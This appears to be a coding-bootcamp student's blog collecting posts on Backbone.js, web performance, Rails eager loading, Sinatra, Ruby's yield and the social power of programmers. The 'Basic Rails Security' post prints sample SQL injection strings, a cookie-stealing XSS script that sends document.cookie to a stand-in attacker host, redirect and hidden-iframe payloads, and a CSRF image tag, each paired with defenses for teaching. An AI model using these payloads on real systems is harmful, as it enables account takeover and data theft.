H.E.L.M.

HELPING EVERYBODY LEARN MORE

about me

A little something about me.

found on

Why Backbone?

- -

I have a tendency to use Backbone.js like it is part of Rails. I don’t think I’m the only one. But why is Backbone so popular? Or maybe a better question to ask is when do you know that it is time to use Backbone?

There are two parts to this question. The first is: when should you build a single-page application (SPA)? And the second is: which javascript framework should you use if you are going to use one?

Let’s call an SPA any app where the content of the view changes dramatically without fetching a new page from the server. This might mean adding or removing subviews, or swapping out the whole view. A pure SPA will only retrieve html once and all subsequest requests to the server will be asynchronous data requests. When asking yourself if you should move toward an SPA consider the following:

  1. Do you want users? Seriously though, do you want users or visitors? Should people interact with your site or should they just look around? If you want users that interact with your site (and continue to interact with your site) then you need to constantly feed them new content. Every round-trip to the server for a new page means another user lost to facebook (half-SPA) or gmail (pure SPA). User boredom is real! As I mentioned in a previous post, Google and Bing have found that even server delays of less than half a second affect user engagement. If you still need convincing here’s another example. With mobile and native apps taking over the world, user expectations are on the rise so that, when it comes to web apps, only the fast will survive. And fast means Javascript and SPAs. Slow means servers.

  2. What other endpoints does your application have? Nowadays its very possible that you’re building an iOS front-end as well as a Google Glass front-end as well as an inflatable jacket front-end. All of these will be exposed through an API. Why would you give the browser special treatment? Do you get lonely when your developers go home so you want to make extra work for them? That second set of routes and second set of controllers just lying around is code that smells worse than a bag of dirty diapers on a hot day.

  3. Would you want to live in a place that had to reload every time you touched something? This is not a philosophical question. Consider how much of our lives are spent with screens.

Assuming you do want to move toward an SPA, you are going to need some javascript. You could build what you need from scratch or you could use one of many javascript frameworks including Backbone.

Why would anyone want to build a framework from scratch? You’re going to need views, events, data modeling and routing, all of which have been built many times over by someone else. The drawback to frameworks, in general, is that by depending on them you become less agile. Maybe the framework you choose solves your current set of problems perfectly but then your next set of problems is more complicated and outside the bounds of what that framework can do. A friend from Etsy told me this was their problem with Backbone when they needed validations that work with international translations. When you reach the edge of your chosen framework your choices are to hack in a workaround, fork the framework, or submit a patch and hope for the best. None of these are particularly savvory options. Another concern is that the maintainers of the framework will abandon it. This is related to the issue of competition, which is the most unpredictable of issues surrounding frameworks. It is inevitable that eventually something better is going to come along and you’re going to wish you weren’t in a committed relationship. Take a look at this to get an idea of how revolution can be right around the corner. And keep in mind that your whole codebase could suffer if you are using out-of-date technologies because good developers will be less inclined to work for you.

Building successful applications is about making the right sacrifices. Maintainability is the loftiest of goals but you cannot prepare for everything. Most importantly, you need to build something that thrives in the present. In this particular present (November 2014), that means avoiding the monumental task of building your own custom framework and choosing between Angular.js, Ember.js, and, of course, Backbone.js. While they all accomplish basically the same thing for users(a fluid UI), there are some not-so-subtle differences for developers.

The one thing to consider as far as user experience is the size of the frameworks. Presumably, if you’re building an SPA you care about speed and, consequently, the size of your assets. Backbone, at 6.5kb gzipped and minified, is the lightest weight of these three frameworks, while Ember, at 90kb gzipped and minified, is the heaviest. This is slightly misleading because, once you add jQuery and Underscore to make Backbone operational, it weighs in about equal to Angular with its 39.5kb. But this fact about size tells another story, too. Backbone is by far the least opinionated of the group. It is smaller because it does less. And that is, ironically, the most compelling reason to use it. If choosing a framework makes you less agile, you should choose the one that is the least framework-y. The point of using a framework is to avoid the endless hours of slaving over nitty-gritty plumbing, not to build the actual application for you. You want to retain as many choices as you possibly can. Everything Angular and Ember provide can be added to Backbone quickly and easily, either by building it yourself or by selecting a plugin (selecting a plugin is still a choice and still agile).

For example, both Angular and Ember provide two-way data binding to make sure that your views and your models always keep each other up-to-date. That’s great but it is not really a slight against Backbone since you could add that logic yourself or use one of many model binding plugins like stickit. This example shows how Backbone really isn’t much more than a starter pack for building a more complete framework. There are many frameworks built on top of Backbone like Aura, Backbone UI, Chaplin, Geppetto, Marionette, LayoutManager, Thorax, and Vertebrae.

Another important consideration, as far as developer experience, is community. You can waste a lot of time figuring things out yourself. It is much better to have an active community that you can turn to for help breaking through walls. In this respect, Angular wins handily. Compared to Backbone, Angular has more than twice as many Github contributors, StackOverflow questions, third-party modules, and youtube results. On the other hand, without understating the significance of community, Backbone is so much more straight-forward that you will simply have less questions.

You won’t find anything in Backbone that compares to the confusion of Angular. Backbone just doesn’t try to go there. What’s more, Backbone has admirably clear, concise documentation. If you want to know what I mean, take a few minutes to read the complete annotated Backbone source code. Then when you’re done with that, try reading Ember’s source code.

One more potential criticism of Backbone is that the views are more closely tied to the DOM making unit-testing harder. One of the great advantages of modular js frameworks is how much easier they are to unit test. Being tied to the DOM makes tests not worth the headache of setting them up. I find, however, that that’s not so bad. You can still unit-test everything that doesn’t interact with the DOM and for the rest you have your integration tests.

In my humble opinion Backbone makes all the right sacrifices. If you want to build an SPA and you don’t want to rebuild the whole thing in a couple of years and you don’t want to waste your time building things from scratch, use Backbone and then try not to read about new technologies.

Web Performance

- -

Recording with over-dubbed anime voices from inside a giant robot fighting balloons at the Macy’s Thanksgiving Day Parade aka the hardest working man in Business#show aka the textbook-a-day diet center aka the dystopian future think tank aka the final destination coincidence log aka the church of real-life CRUD aka the Flatiron School last man standing.

According to research published by Google and Bing in 2009, even server delays of less that half a second affect user engagement. Of particular interest was Bing’s finding that their revenue per user decreased by almost 3% with a server delay of 1 second.

Not to mention the fact that since 2010 Google uses load time as a factor in page rankings.

According to Ilya Grigorik from Google’s GoFast team “fast” means under 250ms. He calls that the magic number. Meanwhile the median load time for a page on desktop is 2.7s and the mean is 6.9s. While you are waiting for your page to load go watch Ilya’s talk on web-performance: http://www.igvita.com/2013/01/15/faster-websites-crash-course-on-web-performance/.

So what should you do to make your site faster? How much can even do? Unless you sit on the board of Comcast or AT&T much of the life cycle of an HTTP Request is actually out of your control.

An HTTP Request goes through four main phases. The first phase is the DNS lookup. It will take approximately 130ms to get the client’s browser pointed at your server. There’s not much you can do about that. The second phase of an HTTP Request is the handshake. The client’s browser will open a TCP connection with the server so that data can start flowing. This handshake requires a round-trip from the client’s browser to your server and back again. So the timing depends on how far apart the client and your server are. The only thing you can really do to make this faster is to use a CDN (content delivery network). With a CDN your content will be stored on servers all around the world. This means the HTTP Request will, on average, have less globetrotting to do. Now that a connection is open with the client’s browser your server can finally process the HTTP Request. The server responds with assets from the database and arranges them in the body of an HTTP Response. During the fourth and final phase the client’s browser has to download all of this content from the server and paint the page.

The last two phases are where you can really improve performance with good design and the right analytic tools. The server response and the content download represent the back-end and the front-end, respectively. They do not, however, have equal impact on the total page load time. According to Steve Souders:
“80-90% of the end-user response time is spent on the frontend. Start there.”

My favorite tools for analyzing front-end performance are Google Analytics and the PageSpeed Chrome extension. Google Analytics mostly tracks visitor behavior and PageSpeed mostly makes suggestions on how to streamline your assets.

When I used PageSpeed on a js-heavy, graphics-heavy site I built I received these suggestions:

  • Serve scaled images – I am using the same images for thumbnails (scaled in css) as I am for their full-size twins. According to PageSpeed by serving seperate thumbnails that are properly sized I could save 2.2MB. I ran PageSpeed on NYtimes.com and found that they had the same problem.

  • Enable Compression – I am not using gzip for two of my js files. According to PageSpeed I could be saving 285KB.

  • Optimize Images – Two of my images aren’t compressed. I could save 38KB by compressing them.

  • Minify Javascript – I have one unminified javascript file. Minifying this file would save me a slight 513B.

  • Leverage Browser Caching – By setting an expiration date on static assets I could tell the client’s browser to load those assets from the local disk instead of needlessly refreshing them over the network. More on this later.

  • Defer Parsing of JavaScript – JavaScript blocks other assets from being loaded because the js might change those assets with something like document.write. Browsers don’t want that mess so if they find javascript they wait until after the javascript has been run to load the next file in line. This is why js should go after everything right before the closing body tag.

  • Enable Keep-Alive – Keep-Alive maintains the same TCP connection for multiple HTTP Requests. The tricky thing with TCP connections is that they have a slow-start feature to probe how much data the network can handle in a single segment. Keep-Alive allows your TCP connection to continue sending the largest possible segments. While most of my header do have it enabled, Faye seems to default to disabling Keep-Alive.

I used Rails for the above project. Rails handles much of the front-end optimization automatically with the asset pipeline and with Rack middleware. The asset pipeline will concatenate all your css and js files so that you need less HTTP Requests to serve all your assets. For the issues that have to do with caching Rack::Cache and Rack::ETag are there to help. By default Rack should set the cache-control to public (so it can be stored locally) and provide a max-age. Rack::ETag should provide a fingerprint so that while the assets are still fresh they are not requested from the server again. That means more “304 Not Modified 2ms” and less “200 OK 100ms”. It seems like for some of my headers Rack decided to do things differently. If I wanted to over-ride Rack’s header defaults I could. For example, to set “Cache-Control max-age=180, public” I could add “expires_in 3.minutes, :public => true” to the relevant controller.

Don’t rely on tools like PageSpeed to fix your front-end after you build it. Better to, as you go, remember to use the right size/format images, concatenate css and js, put css first and js last, and set your headers to cache static assets. Once you do all that it is time to think about the back-end.

For analyzing server performance New_Relic can tell you everything you want to know. It’s better than looking through log files.

While working on a project that used Github’s API I had a page to display all the repos for a particular user. When the page took 7s to load I started looking through the server logs. It was immediately obvious which database query was responsible. Knowing that, I was able to track down the bug in my code. The bug turned out to be a check across all the user’s repos that was happening every time the user page loaded instead of just once when pulling in the Github API. By taking out this check I was able to load the repos in 12ms instead of 7s.

But what about when the problem is less obvious? My previous example is an easy case. If you are trying to tune your site’s performance you probably don’t want to be sifting through server logs. New_Relic will show you a break-down of every web transaction and which controller actions are involved.

Using New_Relic I was able to identify a slow controller action.

tables

I realized I had foreign keys that should be indexed but weren’t. After indexing I saw my server response time go from 125 ms to under 50ms. Just like that.

tables

Now that I have my front-end and my back-end taken care of, if anything is slow I can blame it on the speed of light.

Eager Loading Performance Tests

- -

Recording with multiplexing inspected by firebug from trans-atlantic fiber-optic cables aka the 4ms arbitrage industry aka America the startup aka the fast-fingers words-per-minute hall-of-fame aka the prepared-exclusively-for-Avi-Flombaum library aka the mayor’s school-for-kids-that-can’t-code-good-and-want-to-learn-to-do-other-things-good-too aka the Flatiron School in exile

Eager loading is boss. But exactly how boss is it? I wanted to measure how helpful the :includes method is so I spent my Saturday night rigging up some performance tests.

I determined that the advantage you get from eager loading depends on how many records you are fetching as much as it depends on how many associated tables you are drawing those records from.

In order to test references to associated tables I am using methods that call each of the associations individually. For example, for one reference I have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#/app/models/project.rb
  def self.creators
    projects = self.all
    projects.each do |project|
      project.creator.name if project.creator
    end
  end
  
  def self.creators_with_includes
    projects = self.includes(:creator).all
    projects.each do |project|
      project.creator.name if project.creator
    end
  end

And for seven references I have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def self.creators_users_ideas_teams_directors_competitors_and_industries
    projects = self.all
    projects.each do |project|
      project.creator.name if project.creator
      project.user.name if project.user
      project.idea.name if project.idea
      project.team.name if project.team
      project.director.name if project.director
      project.competitor.name if project.competitor
      project.industry.name if project.industry
    end
  end

  def self.creators_users_ideas_teams_directors_competitors_and_industries_with_includes
    projects = self.includes(:creator, :idea, :team, :director, :competitor, :industry).all
    projects.each do |project|
      project.creator.name if project.creator
      project.user.name if project.user
      project.idea.name if project.idea
      project.team.name if project.team
      project.director.name if project.director
      project.competitor.name if project.competitor
      project.industry.name if project.industry
    end
  end

Here is the graph of my experiment varying the number of records being retrieved from the database (the red line is with eager loading):

tables

You save more time when you are retrieving more records. You save approximately half a millisecond per record.

Here is the graph of my experiment with varying the number of tables being referenced (again, the red line is with eager loading):

tables

This graph looks very similar to the previous one where I vary the number of records. The similarity makes sense. The way I have my methods set up I am retrieving 100 records from each additional table. So it’s not surprising that the performance advantage that comes with eager loading one more table is approximately the same as the performance advantage that comes with eager loading 100 more records.

Without eager loading every record comes from a separate database query that doesn’t care whether it is returning to the same table over and over or hitting a different table every time. With eager loading you have one initial database query then, after that, every relational call is referencing our stored array of hashes.

So the answer is eager loading saves you approximately half a millisecond per record.

Basic Rails Security

- -

Recording on version control from the octocat animal shelter aka the hackathon of life aka the conference room that looks a lot like a bar aka the xss justice league aka the no-sql-no-cry school aka the pull-request-of-destiny school aka the ask-me-about-blocks-procs-and-lambdas school aka the Flatiron School in purgatory

Now that I have some idea how to control my tables and views my next big task is to make sure no one else gets any ideas about how to control my tables and views. Security is for lovers. I love my databases and I love my users and I don’t want any sql injection or cross-site scripting getting between us.

The SQL Hamburgler

Sql injection is the hostile practice of using sql fragments in form inputs to manipulate the database queries that will happen when processing that form. In Pleasantville form inputs supply only values to sql statements. In Crooklyn inputs are fragments of sql statements that will be processed as part of the database query. The corrupt database queries will perform actions that suit your attacker’s interests more than yours. Sql injection attacks usually have one of two objectives:

  1. Bypassing Authorization
1
2
3
4
5
6
7
8
9
10
11
12
13
Example:   
    
      An attacker entering   ' OR '1'='1   in the name field and   ' OR '1'='1  
      in the password field results in the sql statement:
    
      SELECT * FROM users WHERE login = ''  
      OR '1'='1'  
      AND password = ''  
      OR '2'>'1' LIMIT 1

      This statement will always set the session's current_user to the first user  
      in the table. The attacker is now logged in as that user whether or not the  
      attacker is even a casual acquaintance of theirs.
  1. Unauthorized Reading
1
2
3
4
5
6
7
8
9
10
11
12
13
Example:
    
      Given the query  
      Project.where("name = '#{params[:name]}'")  
      an attacker entering  
      ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --  
      in the name field results in the sql statement:
    
      SELECT * FROM projects WHERE (name = '') UNION
      SELECT id,login AS name,password AS description,1,1,1 FROM users --' 
    
      If the number of columns in both queries matches then then this statement  
      will return a list of all user names and passwords.

Defense Against the Dark Arts

The counter-spell to SQL injection is to handle the database query plan and the values separately. As of Rails 3.1 ActiveRecord enables prepared statements in database queries. A prepared statement looks like:

SELECT "people".* FROM "people" WHERE "people"."id" = ? LIMIT 1  [["id", 1]]

For higher-level commands like :new and :find ActiveRecord takes care of the formatting. For lower-level commands like :where and :select you have to do it yourself. Both of these result in prepared statements:

Person.where("user_name = ? AND password = ?", user_name, password).first

Person.new(name: "Spider Jerusalem")

Before prepared statements ActiveRecord took four steps to execute a database query:

  1. Parse SQL statement
  2. Come up with query plan
  3. Execute query plan
  4. Return results

Without prepared statements the query plan depends on parsing the SQL statement, user input and all. This way SQL fragments in values can affect the query plan.

With prepared statements the database comes up with a query plan and caches it before we send any values. We then send the values along with a token for the cached sequel statement. With the statement already cached(meaning after the first query) the database only needs to perform 2 steps:

  1. Execute the query plan
  2. Return results

This way the values have no affect on the query plan. If an attacker inputs some SQL craziness ActiveRecord will only wind up searching the corresponding column for a row containing that SQL craziness. No harm done.

Efficiency side-note: on SQlite3 and Postgres caching prepared statements means dramatically more efficient database queries. The effect is greater with more complex queries because the query planning step takes longer. On mySQL, however, prepared statements are actually less efficient for simple queries because there is no separate step for query planning in these simple cases. mySQL does still follow the general trend for more complex queries.

Mass-assignment

Mass-assignment is a convenient way of processing all the params of a form at once. The vulnerability is that params you don’t want to assign can be sent to your controller. For example, with the http request:

PUT http://massassignment.com/users/1?user[can_edit_anything]=true

We don’t want to assign can_edit_anything without deliberation. By listing attributes under attr-accessible in the model we tell ActiveRecord which attributes it can mass-assign. These should be the benign attributes. Attributes like can_edit_anything have no place on that list.

class User < ActiveRecord::Base
  attr_accessible :firstname, :lastname
end

We can also customize the list for different roles:

class User < ActiveRecord::Base
  attr_accessible :firstname, :lastname
  attr_accessible :can_edit_anything, :as => :admin
end

The attributes that are listed as accessible will still be protected from meddling as long as your controller is doing it’s job. The controller should be checking that you are logged in as the current user before changing the current user’s attributes. So you can change your name as many times as you want but no one else can.

Cross-Site Scripting Attacks

Cross-site Scripting While SQL injection is a server-side attack, Cross-site Scripting is a client-side attack. In this case, attackers are taking advantage of their input being rendered with the DOM to change the functionality of the page. Cross-site Scripting attacks usually have one of these objectives:

  1. Stealing the cookie to hijack the session
1
2
3
4
5
6
7
8
9
10
11
12
13
Example:
    
    An attacker enters 
    
      <script>document.write('<img src="http://www.cookiemonster.com/' + document.cookie + '">');</script> 
    
    in a field that is unceremoniously dumped into the DOM. The  
    resulting http request to attacker.com will the cookie information  
    included in the request.
    
    The attacker can then check the logs for www.cookiemonster.com and see
    
      GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
  1. Redirecting to a fake website
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Example:
    
    An attacker enters
    
      "><script>document.location='http://yoursoulismine.com';</script>
    
    in a field that is unceremoniously dumped into the DOM. 
    
    The page will then redirect to the attacker's url. An attacker might use this  
     traffic to get more twitter followers, or they might use a phishing site  
     that imitates the previous page to coax the user into giving  
     them sensitive information. 
    
    Historical side-note: The term "phishing" comes from <><,  
    a common html tag in chat transcripts that attackers exploited  
    in the earliest of such scams.
  1. Defacement
1
2
3
4
5
6
7
8
9
10
11
12
Example:
    
    An attacker enters
    
      <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
    
    in a field that is unceremoniously dumped into the DOM.
    
    Similar to the redirect example, an attacker could open an  
    iframe that impersonates a part of the original site.  
    Here the goal might be to display advertisements or, as before,  
    to coax the user into supplying sensitive information.
  1. Installing malicious software through security holes in the web browser.

    See “Samy”: http://en.wikipedia.org/wiki/Samy_(computer_worm)

Defense against the dark arts:

To defend against cookie-stealers we can include httpOnly in the HTTP response header. httpOnly is a flag that can be set on a cookie. This flag makes it so the cookie can only be sent in http requests and it cannot be accessed by client-side script. This defense is effective against ordinary javascript injection but is still vunerable to asynchronous scripts.

Popularity side-note: In 2011 this Report found that just over half the top 50 sites do not use httpOnly and as a result are vulnerable to cookie-stealing xss attacks. As of version 2.3.2 Rails was the only open source framework to set the HTTP-only flag by default. Minswan.

The best defense against xss is old-fashioned santizing of user input. Whitelisting is better than blacklisting. With a blacklist, if you are only filtering the input once then an attacker might anticipate your filter by burying their malicious code in the second layer of their input. For example, , after filtering out ‘script’, will still read ‘script’. So only accept the good input don’t try to filter the bad.

Cross-Site Request Forgeries

Cross-site Request Forgeries are like Cross-site Scripting attacks in that they are client-side attacks. In this case, however, the attacker exploits the possibility of the user being logged in on another site. If they are logged in the attack sends a malicious http request to that site.

1
2
3
4
5
6
7
8
9
10
Example:
    
    An attacker posts
    
      <img src="http://bank.com/account/1/destroy" />

so that when a user loads the page with that img tag the  
http request is sent to look for an img. If the user is still  
logged in to bank.com then the  request will go through and quietly  
do the attacker's bidding.

Defense against the dark arts:

Being careful about seperating GET and POST helps with the most basic attacks. Rails just about forces good behavior on this front so no GET request should be executing business logic. There is, however, still the case of when an attacker tricks a user into submitting a form with dangerous hidden values.

The Synchronizer Token Pattern_Prevention_Cheat_Sheet) calls for embedding a random, unique token in all forms for a given session. The controller action can then check the token to verify that the HTTP request came from an authorized form.

Conclusion

Prepared statements, attr-accessible, httpOnly, and restful controller actions are very simple ways of protecting yourself. The Synchronizer Token Pattern takes a little more work but sounds straight-forward. Not having experience with security, I imagine most of the time spent locking down a site goes into sanitizing user input with whitelists and regExp. If you want to survive you can’t trust anyone with a keyboard or a touch-screen or a magic mouse or a wiimote.

Student Driver

- -

Recording on vhs from your childhood blockbuster video store aka the aliased keystrokes thrift shop aka the Pro-Question Action League “a question’s a question, no matter how small” aka the Land Before Rails aka the RegEx tattoo shop aka straight out the dungeons of code aka The crouching-tiger-hidden-semi-colon School aka The ruby-talk-pretty-one-day School aka The Flatiron School




mr2

I learned to drive on a stick shift. My first car was a red two-seat ‘91 Toyota mr2 kinda like this here. My dad copped it for a quick 3k. He later sold it after I failed to communicate that it was the only vehicle I could ever love.


I would never have been that smitten driving an automatic. Sometimes abstraction is the opposite of intimacy.


That’s how I feel about Sinatra. Today I made my first deployable ruby app. It’s no hot rod but it will get you from A to B. (Jukebox)

Once I was done I understood how all the parts moved. I can conceptualize it and I can even draw an exploded diagram:



playlister

RIP. Tomorrow we start on Sinatra. I browsed some Sinatra apps on github to try to see how they work. The simplest example I could find is this blogging app called “(Scanty), a really small blog.” I tried drawing a diagram of this one too:



sinatra

This diagram is hard to follow. And the views shouldn’t be floating like that.

It’d kinda like I just built a lawn mower engine:

sinatra

Then tried to understand a simple volvo engine:



sinatra

…and realized I couldn’t even find the starter.

At first I thought config.ru was the application file because it required ‘main.’

Not being able to find the starter is understable when the engine is packaged like this:



volvo



All I know right now is that Sinatra is doing some cloak-and-dagger behind-the-scenes shit. And I find that untrustworthy.



Is there a steampunk movement in the Ruby community? If you’re out there call me..

5 Metaphors for ‘Yield’ (My First Semi-Technical Post)

- -

Recording with a light-second delay from basecamp at Mt. Ruby where all the rocks are gems and all the gems are mountains aka the origami enchanted forrest aka the blank screen wrecking yard aka the dark room with a light in the corner aka the Grace Hopper appreciation society aka the Sandi Metz support group aka the solar-powered confidence summer jam aka The its-not-about-computers School aka the Flatiron School

‘yield’ is a keyword that appears in a method to turn over the reigns to a yet-to-be-determined block of code. You add the block when you call the function. It can be any block you like.




Trivial examples look like this:



code

code

code




-OR- With a method that takes an argument:




code

code

code




These are trivial examples because they could be re-written with no added key-strokes as:




code

code




-AND-




code

code




The interesting implementions of the ‘yield’ keyword involve methods with more logic. For example:




code

code

code

code




That’s ‘yield’ in action. ‘yield’ allows you to, on the fly, add a bit of custom logic to your methods. It might feel like a slippery concept because it is. For people that learn from metaphors I came up with 5 that might help:

1. ‘yield’ is the settings on your microwave. Like on mine i have “time defrost”, “auto defrost”, “reheat”, “cook”, “popcorn”, “pizza”, and “beverage.”

Smiley face

2. ‘yield’ is the attachments on your kitchenaid food processor.

Smiley face

3. ‘yield’ is AutoTune.

4. ‘yield’ is tinted sunglasses.

Smiley faceSmiley face

5. ‘yield’ is that trick play from Little Giants.









I hope that helps…

20 Questions I Need to Ask Any Programmer Before I Can Guess What You’re About

- -

What software do you wish you had been the one to make?

If you could time travel would you go to the future or the past?

If you could create your own non-Marvel, non-DC superpower what would it be?

Would you rather have the power of invisibilty or be able to fly?

Would you plant a chip in your brain that made it so you never forgot your passwords?

Would you plant a chip in your brain that made it so you never forgot a name?

Would you plant a chip in your brain that made it so you never forgot anything ever?

Would you plant a chip in your brain that made you a better programmer?

If you were offered immortality would you take it? What if you had a +1?

How many years do you think it would take before you got bored?

How do you think people would behave if they were immortal?

What physical thing does the world need more of?

What cultural thing does the world need more of?

What political thing does the world need more of?

What does the programming world need more of?

If you could create one of the above things which would it be?

If the American Dream were a stock would you buy it?

Which is better: owning a house or making your own hours?

Which is better: owning a house or being your own boss?

Which is better: being your own boss or working less?

Which is worse: one innocent person dying or 100 innocent people suffering?

Which is worse: one asshole dying or 100 innocent people suffering?

Do you vote?

Do you like to travel?

Do you sing in the shower?

Who’s in Charge Here?

- -

Recording live from the mountain-top, fog-shrouded monastery of the holy order of uninitialized variables aka the chamber of binary incantations aka the cave of forgotten code aka the officer candidate school in the global war on minor inconveniences aka just another secret underground yoleo-enabled satellite surveillance station aka the equal-opportunity drop in a white male pond aka the how-many-computer-nerds-does-it-take-to-make-a-cup-of-coffee research labratory aka The learn-you-some-git-and-join-a-startup School aka The Flatiron School.



Here among the 1000 twisted power cords at Flatiron School we are blessed with many fascinating guest speakers. This is our opportunity to break the command line’s spell and focus on the big picture. I love the big picture. And I love new perspectives. The web developer’s perspective is completely new for me. The Flatiron School is really my first experience of life on the other side of the retinal display. That said, after only a week of fascinating guest speakers one thing has really hit me:



Code is power. Power to shape the world.

And my question is:

What guides this power?



When you write code for public consumption you are literally putting the stuff you think is important in someone else’s face. Right in their face. Being a wire-whisperer is comparable to being mega-rich – everybody has to listen to you. Add to that that programmers are often mega-rich too and I’m starting to see a bigger picture. Programmers are first class citizens. And wherever you have first-class citizens you have a lot of second-class citizens.




Let’s look at an example of that power:

During his re-election campaign Obama raised 230 million dollars largely in donations of less than $200. He also has 32 million twitter followers (take that Ashton!). Did twitter get Obama elected? Something like that. In 2012 Obama’s dev team beat Romney’s dev team to every single punch. Obama was the first to get a “Square app for in-person fundraising” and the first to get a “‘Quick Donate’ feature that allowed donors who had already given once to send a repeat donation”. And it worked! (2012 digital campaign)
In 2008, it was the same story. Obama’s online campaign gave McCain’s campaign the rearview mirror treatment. (digital campaign 2008) This phenomenon is about more than Obama’s human resources team. It’s a reflection of where the silicone tower’s loyalties lie. (tech politics) I don’t know if Obama won because of his online campaign but I’m sure it didn’t hurt. And the power behind that campaign was a small group of people with strong opinions. Shaping the world just like that.

And don’t get me started on PRISON, I mean PRISM.

The world isn’t flat but it’s close: sorta flat




I could imagine someone comparing the power of web sensations to the power of pop art. And who doesn’t love art? The difference I see is that art’s power is purely the power of persuasion and seduction. Meanwhile, programming has all that plus direct real world implications. What problems are you solving? Who are you marketing to? How does your product affect the people you aren’t marketing too? Are you hacking the Chinese government? In terms of content and reach, the media seems like a more appropriate comparison. Tech is like a media personality that sleeps under your bed, follows you around all day, spies on your neighbors, and talks to your friends on your behalf. So if the media is the 4th branch of government what does that make software? The 5th, 6th, 7th branch of government?



I’m coming to the Flatiron School from a carpentry job. Programming appealed to me because it looked like a similar craft that happens to pay more and happens to take place in a safe, climate-controlled space and happens to be a bridge to a lot of interesting projects. But it’s the interesting projects that really separates code from other crafts. Coders have voices. Mechanics don’t have voices. Carpenters don’t have voices. Coders have voices and microphones and 5.1 surround sound speaker systems. That kind of platform should be approached cautiously and used carefully. I’m worried, however, that many coders use their voices the way bankers use their extra cash. I’m worried that there’s a lack of seriousness when it comes to the real world.




And that brings us back to the original question:

What do web developers care about?

What do white men(that’s me) with google glasses(not me) think the world needs more of? I really want to know.




I also want to know if there is as much time and energy going into discussing how to use Code as there is going into discussing how to write code. Because there should be.




To be clear, I am not taking issue with anyone’s particular political or social ends. I am concerned with the structure of power. In this great land of checks and balances it seems like there might be another balance going unchecked.